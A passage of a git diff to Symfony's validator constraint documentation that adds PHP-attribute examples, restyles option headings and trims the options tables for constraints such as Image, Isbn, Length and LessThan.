 **type**: ``string`` **default**: ``The image file is corrupted.``
 
@@ -314,8 +319,8 @@ is corrupted.
 
 This message has no parameters.
 
-detectCorrupted
-~~~~~~~~~~~~~~~
+``detectCorrupted``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -325,16 +330,16 @@ function, which requires the `PHP GD extension`_ to be enabled.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-maxHeight
-~~~~~~~~~
+``maxHeight``
+~~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the height of the image file must be less than or equal to this
 value in pixels.
 
-maxHeightMessage
-~~~~~~~~~~~~~~~~
+``maxHeightMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image height is too big ({{ height }}px).
 Allowed maximum height is {{ max_height }}px.``
@@ -350,16 +355,16 @@ Parameter             Description
 ``{{ max_height }}``  The maximum allowed height
 ====================  =========================================================
 
-maxPixels
-~~~~~~~~~
+``maxPixels``
+~~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the amount of pixels of the image file must be less than or equal to this
 value.
 
-maxPixelsMessage
-~~~~~~~~~~~~~~~~
+``maxPixelsMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image has to many pixels ({{ pixels }} pixels).
 Maximum amount expected is {{ max_pixels }} pixels.``
@@ -377,16 +382,16 @@ Parameter             Description
 ``{{ width }}``       The current image width
 ====================  =========================================================
 
-maxRatio
-~~~~~~~~
+``maxRatio``
+~~~~~~~~~~~~
 
 **type**: ``float``
 
 If set, the aspect ratio (``width / height``) of the image file must be less
 than or equal to this value.
 
-maxRatioMessage
-~~~~~~~~~~~~~~~
+``maxRatioMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image ratio is too big ({{ ratio }}).
 Allowed maximum ratio is {{ max_ratio }}``
@@ -402,16 +407,16 @@ Parameter            Description
 ``{{ ratio }}``      The current (invalid) ratio
 ===================  ==========================================================
 
-maxWidth
-~~~~~~~~
+``maxWidth``
+~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the width of the image file must be less than or equal to this
 value in pixels.
 
-maxWidthMessage
-~~~~~~~~~~~~~~~
+``maxWidthMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image width is too big ({{ width }}px).
 Allowed maximum width is {{ max_width }}px.``
@@ -427,28 +432,28 @@ Parameter            Description
 ``{{ width }}``      The current (invalid) width
 ===================  ==========================================================
 
-mimeTypes
-~~~~~~~~~
+``mimeTypes``
+~~~~~~~~~~~~~
 
 **type**: ``array`` or ``string`` **default**: ``image/*``
 
 You can find a list of existing image mime types on the `IANA website`_.
 
-mimeTypesMessage
-~~~~~~~~~~~~~~~~
+``mimeTypesMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This file is not a valid image.``
 
-minHeight
-~~~~~~~~~
+``minHeight``
+~~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the height of the image file must be greater than or equal to this
 value in pixels.
 
-minHeightMessage
-~~~~~~~~~~~~~~~~
+``minHeightMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image height is too small ({{ height }}px).
 Minimum height expected is {{ min_height }}px.``
@@ -464,16 +469,16 @@ Parameter             Description
 ``{{ min_height }}``  The minimum required height
 ====================  =========================================================
 
-minPixels
-~~~~~~~~~
+``minPixels``
+~~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the amount of pixels of the image file must be greater than or equal to this
 value.
 
-minPixelsMessage
-~~~~~~~~~~~~~~~~
+``minPixelsMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image has too few pixels ({{ pixels }} pixels).
 Minimum amount expected is {{ min_pixels }} pixels.``
@@ -491,16 +496,16 @@ Parameter             Description
 ``{{ width }}``       The current image width
 ====================  =========================================================
 
-minRatio
-~~~~~~~~
+``minRatio``
+~~~~~~~~~~~~
 
 **type**: ``float``
 
 If set, the aspect ratio (``width / height``) of the image file must be greater
 than or equal to this value.
 
-minRatioMessage
-~~~~~~~~~~~~~~~
+``minRatioMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image ratio is too small ({{ ratio }}).
 Minimum ratio expected is {{ min_ratio }}``
@@ -516,16 +521,16 @@ Parameter            Description
 ``{{ ratio }}``      The current (invalid) ratio
 ===================  ==========================================================
 
-minWidth
-~~~~~~~~
+``minWidth``
+~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the width of the image file must be greater than or equal to this
 value in pixels.
 
-minWidthMessage
-~~~~~~~~~~~~~~~
+``minWidthMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image width is too small ({{ width }}px).
 Minimum width expected is {{ min_width }}px.``
@@ -541,8 +546,8 @@ Parameter            Description
 ``{{ width }}``      The current (invalid) width
 ===================  ==========================================================
 
-sizeNotDetectedMessage
-~~~~~~~~~~~~~~~~~~~~~~
+``sizeNotDetectedMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The size of the image could not be detected.``
 
diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index 9d744d54c09..5e0a039e763 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -7,11 +7,6 @@ IPv6 and many other combinations.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `normalizer`_
-            - `payload`_
-            - `version`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Ip`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IpValidator`
 ==========  ===================================================================
@@ -36,6 +31,19 @@ Basic Usage
             protected $ipAddress;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Ip]
+            protected $ipAddress;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -82,8 +90,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This is not a valid IP address.``
 
@@ -106,8 +114,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-version
-~~~~~~~
+``version``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``4``
 
diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index 17881aa9a75..860004691eb 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -3,15 +3,12 @@ IsFalse
 
 Validates that a value is ``false``. Specifically, this checks to see if
 the value is exactly ``false``, exactly the integer ``0``, or exactly the
-string "``0``".
+string ``'0'``.
 
 Also see :doc:`IsTrue <IsTrue>`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\IsFalse`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsFalseValidator`
 ==========  ===================================================================
@@ -58,6 +55,24 @@ method returns **false**:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\IsFalse(
+                message: "You've entered an invalid state."
+            )]
+            public function isStateInvalid()
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -97,16 +112,18 @@ method returns **false**:
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
                 $metadata->addGetterConstraint('stateInvalid', new Assert\IsFalse([
-                    'message' => 'You've entered an invalid state.',
+                    'message' => "You've entered an invalid state.",
                 ]));
             }
-        }
 
-        public function isStateInvalid()
-        {
-            // ...
+            public function isStateInvalid()
+            {
+                // ...
+            }
         }
 
+.. include:: /reference/constraints/_null-values-are-valid.rst.inc
+
 Options
 -------
 
diff --git a/reference/constraints/IsNull.rst b/reference/constraints/IsNull.rst
index 252c23d934b..9bf4273c111 100644
--- a/reference/constraints/IsNull.rst
+++ b/reference/constraints/IsNull.rst
@@ -9,9 +9,6 @@ Also see :doc:`NotNull <NotNull>`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\IsNull`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsNullValidator`
 ==========  ===================================================================
@@ -39,6 +36,19 @@ of an ``Author`` class exactly equal to ``null``, you could do the following:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\IsNull]
+            protected $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index 2698ad233e9..91076f4e1e4 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -2,15 +2,12 @@ IsTrue
 ======
 
 Validates that a value is ``true``. Specifically, this checks if the value is
-exactly ``true``, exactly the integer ``1``, or exactly the string ``"1"``.
+exactly ``true``, exactly the integer ``1``, or exactly the string ``'1'``.
 
 Also see :doc:`IsFalse <IsFalse>`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\IsTrue`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsTrueValidator`
 ==========  ===================================================================
@@ -60,6 +57,24 @@ Then you can validate this method with ``IsTrue`` as follows:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            protected $token;
+
+            #[Assert\IsTrue(message: 'The token is invalid.')]
+            public function isTokenValid()
+            {
+                return $this->token == $this->generateToken();
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -111,6 +126,8 @@ Then you can validate this method with ``IsTrue`` as follows:
 
 If the ``isTokenValid()`` returns false, the validation will fail.
 
+.. include:: /reference/constraints/_null-values-are-valid.rst.inc
+
 Options
 -------
 
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index e30d4e96040..d9ce6d46bbc 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -6,13 +6,6 @@ is either a valid ISBN-10 or a valid ISBN-13.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `bothIsbnMessage`_
-            - `groups`_
-            - `isbn10Message`_
-            - `isbn13Message`_
-            - `message`_
-            - `payload`_
-            - `type`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Isbn`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsbnValidator`
 ==========  ===================================================================
@@ -37,12 +30,28 @@ on an object that will contain an ISBN.
             /**
              * @Assert\Isbn(
              *     type = "isbn10",
-             *     message = "This value is not  valid."
+             *     message = "This value is not valid."
              * )
              */
             protected $isbn;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Book.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Book
+        {
+            #[Assert\Isbn(
+                type: Assert\Isbn::ISBN_10,
+                message: 'This value is not valid.',
+            )]
+            protected $isbn;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -51,7 +60,7 @@ on an object that will contain an ISBN.
                 isbn:
                     - Isbn:
                         type: isbn10
-                        message: This value is not  valid.
+                        message: This value is not valid.
 
     .. code-block:: xml
 
@@ -65,7 +74,7 @@ on an object that will contain an ISBN.
                 <property name="isbn">
                     <constraint name="Isbn">
                         <option name="type">isbn10</option>
-                        <option name="message">This value is not  valid.</option>
+                        <option name="message">This value is not valid.</option>
                     </constraint>
                 </property>
             </class>
@@ -84,7 +93,7 @@ on an object that will contain an ISBN.
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
                 $metadata->addPropertyConstraint('isbn', new Assert\Isbn([
-                    'type' => 'isbn10',
+                    'type' => Assert\Isbn::ISBN_10,
                     'message' => 'This value is not valid.',
                 ]));
             }
@@ -95,8 +104,8 @@ on an object that will contain an ISBN.
 Available Options
 -----------------
 
-bothIsbnMessage
-~~~~~~~~~~~~~~~
+``bothIsbnMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is neither a valid ISBN-10 nor a valid ISBN-13.``
 
@@ -118,8 +127,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-isbn10Message
-~~~~~~~~~~~~~
+``isbn10Message``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid ISBN-10.``
 
@@ -139,8 +148,8 @@ Parameter        Description
 
     The ``{{ label }}`` parameter was introduced in Symfony 5.2.
 
-isbn13Message
-~~~~~~~~~~~~~
+``isbn13Message``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid ISBN-13.``
 
@@ -160,8 +169,8 @@ Parameter        Description
 
     The ``{{ label }}`` parameter was introduced in Symfony 5.2.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -183,8 +192,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-type
-~~~~
+``type``
+~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
diff --git a/reference/constraints/Isin.rst b/reference/constraints/Isin.rst
index c646f33a53a..d547798f6d6 100644
--- a/reference/constraints/Isin.rst
+++ b/reference/constraints/Isin.rst
@@ -6,9 +6,6 @@ Validates that a value is a valid
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Isin`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsinValidator`
 ==========  ===================================================================
@@ -33,6 +30,19 @@ Basic Usage
             protected $isin;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/UnitAccount.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class UnitAccount
+        {
+            #[Assert\Isin]
+            protected $isin;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Issn.rst b/reference/constraints/Issn.rst
index 6cc5734aaa2..5d2013988c8 100644
--- a/reference/constraints/Issn.rst
+++ b/reference/constraints/Issn.rst
@@ -6,11 +6,6 @@ Validates that a value is a valid
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `caseSensitive`_
-            - `groups`_
-            - `message`_
-            - `payload`_
-            - `requireHyphen`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Issn`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IssnValidator`
 ==========  ===================================================================
@@ -35,6 +30,19 @@ Basic Usage
             protected $issn;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Journal.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Journal
+        {
+            #[Assert\Issn]
+            protected $issn;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -79,8 +87,8 @@ Basic Usage
 Options
 -------
 
-caseSensitive
-~~~~~~~~~~~~~
+``caseSensitive``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` default: ``false``
 
@@ -89,8 +97,8 @@ When switching this to ``true``, the validator requires an upper case 'X'.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` default: ``This value is not a valid ISSN.``
 
@@ -111,8 +119,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-requireHyphen
-~~~~~~~~~~~~~
+``requireHyphen``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` default: ``false``
 
diff --git a/reference/constraints/Json.rst b/reference/constraints/Json.rst
index 6e8318077da..c76c7cf3edc 100644
--- a/reference/constraints/Json.rst
+++ b/reference/constraints/Json.rst
@@ -5,8 +5,6 @@ Validates that a value has valid `JSON`_ syntax.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Json`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\JsonValidator`
 ==========  ===================================================================
@@ -35,6 +33,21 @@ The ``Json`` constraint can be applied to a property or a "getter" method:
             private $chapters;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Book.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Book
+        {
+            #[Assert\Json(
+                message: "You've entered an invalid Json."
+            )]
+            private $chapters;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -82,8 +95,8 @@ The ``Json`` constraint can be applied to a property or a "getter" method:
 Options
 -------
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be valid JSON.``
 
diff --git a/reference/constraints/Language.rst b/reference/constraints/Language.rst
index dac3e2819db..5fe5c93426c 100644
--- a/reference/constraints/Language.rst
+++ b/reference/constraints/Language.rst
@@ -6,10 +6,6 @@ Validates that a value is a valid language *Unicode language identifier*
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `alpha3`_
-            - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Language`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LanguageValidator`
 ==========  ===================================================================
@@ -34,6 +30,19 @@ Basic Usage
             protected $preferredLanguage;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\Language]
+            protected $preferredLanguage;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -88,7 +97,7 @@ alpha3
 **type**: ``boolean`` **default**: ``false``
 
 If this option is ``true``, the constraint checks that the value is a
-`ISO 639-2`_ three-letter code (e.g. French = ``fra``) instead of the default
+`ISO 639-2 (2T)`_ three-letter code (e.g. French = ``fra``) instead of the default
 `ISO 639-1`_ two-letter code (e.g. French = ``fr``).
 
 .. include:: /reference/constraints/_groups-option.rst.inc
@@ -116,4 +125,4 @@ Parameter        Description
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
-.. _`ISO 639-2`: https://en.wikipedia.org/wiki/List_of_ISO_639-2_codes
+.. _`ISO 639-2 (2T)`: https://en.wikipedia.org/wiki/List_of_ISO_639-2_codes
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 365aedfb585..7baed971032 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -5,17 +5,6 @@ Validates that a given string length is *between* some minimum and maximum value
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowEmptyString`_
-            - `charset`_
-            - `charsetMessage`_
-            - `exactMessage`_
-            - `groups`_
-            - `max`_
-            - `maxMessage`_
-            - `min`_
-            - `minMessage`_
-            - `normalizer`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Length`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LengthValidator`
 ==========  ===================================================================
@@ -23,8 +12,8 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LengthValidator`
 Basic Usage
 -----------
 
-To verify that the ``firstName`` field length of a class is between "2"
-and "50", you might add the following:
+To verify that the ``firstName`` field length of a class is between ``2``
+and ``50``, you might add the following:
 
 .. configuration-block::
 
@@ -48,6 +37,25 @@ and "50", you might add the following:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Participant.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Participant
+        {
+            #[Assert\Length(
+                min: 2,
+                max: 50,
+                minMessage: 'Your first name must be at least {{ limit }} characters long',
+                maxMessage: 'Your first name cannot be longer than {{ limit }} characters',
+            )]
+            protected $firstName;
+        }
+
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -110,8 +118,8 @@ and "50", you might add the following:
 Options
 -------
 
-allowEmptyString
-~~~~~~~~~~~~~~~~
+``allowEmptyString``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean``  **default**: ``false``
 
@@ -130,8 +138,8 @@ empty strings not valid.
 
     This option does not have any effect when no minimum length is given.
 
-charset
-~~~~~~~
+``charset``
+~~~~~~~~~~~
 
 **type**: ``string``  **default**: ``UTF-8``
 
@@ -139,8 +147,8 @@ The charset to be used when computing value's length with the
 :phpfunction:`mb_check_encoding` and :phpfunction:`mb_strlen`
 PHP functions.
 
-charsetMessage
-~~~~~~~~~~~~~~
+``charsetMessage``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value does not match the expected {{ charset }} charset.``
 
@@ -174,8 +182,8 @@ Parameter          Description
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -184,8 +192,8 @@ the given value's length is **greater** than this max value.
 
 This option is required when the ``min`` option is not defined.
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is too long. It should have {{ limit }} characters or less.``
 
@@ -201,8 +209,8 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -215,8 +223,8 @@ It is important to notice that NULL values and empty strings are considered
 valid no matter if the constraint required a minimum length. Validators
 are triggered only if the value is not blank.
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is too short. It should have {{ limit }} characters or more.``
 
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index abd0aab721c..22ebce5c094 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -8,11 +8,6 @@ than another value, see :doc:`/reference/constraints/GreaterThan`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\LessThan`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator`
 ==========  ===================================================================
@@ -49,6 +44,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThan(5)]
+            protected $siblings;
+
+            #[Assert\LessThan(
+                value: 80,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -126,6 +139,19 @@ that a date must be in the past like this:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThan('today')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -185,6 +211,19 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThan('today UTC')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -244,6 +283,19 @@ can check that a person must be at least 18 years old like this:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThan('-18 years')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index 42ec3e939e5..05e2dedbfe5 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -7,11 +7,6 @@ options. To force that a value is less than another value, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqual`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator`
 ==========  ===================================================================
@@ -48,6 +43,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThanOrEqual(5)]
+            protected $siblings;
+
+            #[Assert\LessThanOrEqual(
+                value: 80,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -125,6 +138,19 @@ that a date must be today or in the past like this:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThanOrEqual('today')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -184,6 +210,19 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThanOrEqual('today UTC')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -243,6 +282,19 @@ can check that a person must be at least 18 years old like this:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThanOrEqual('-18 years')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index f5f381629e3..c61b12187b7 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -14,9 +14,6 @@ issues with wrong uppercase/lowercase values and to remove unneeded elements
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Locale`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LocaleValidator`
 ==========  ===================================================================
@@ -43,6 +40,21 @@ Basic Usage
             protected $locale;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\Locale(
+                canonicalize: true,
+            )]
+            protected $locale;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Luhn.rst b/reference/constraints/Luhn.rst
index 2bee41d5f2c..30a8092c1bc 100644
--- a/reference/constraints/Luhn.rst
+++ b/reference/constraints/Luhn.rst
@@ -7,9 +7,6 @@ card: before communicating with a payment gateway.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Luhn`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LuhnValidator`
 ==========  ===================================================================
@@ -37,6 +34,19 @@ will contain a credit card number.
             protected $cardNumber;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Transaction.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Transaction
+        {
+            #[Assert\Luhn(message: 'Please check your credit card number.')]
+            protected $cardNumber;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst
index 7468b4bfc4a..c77d0586cbf 100644
--- a/reference/constraints/Negative.rst
+++ b/reference/constraints/Negative.rst
@@ -7,9 +7,6 @@ want to allow zero as value.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Negative`
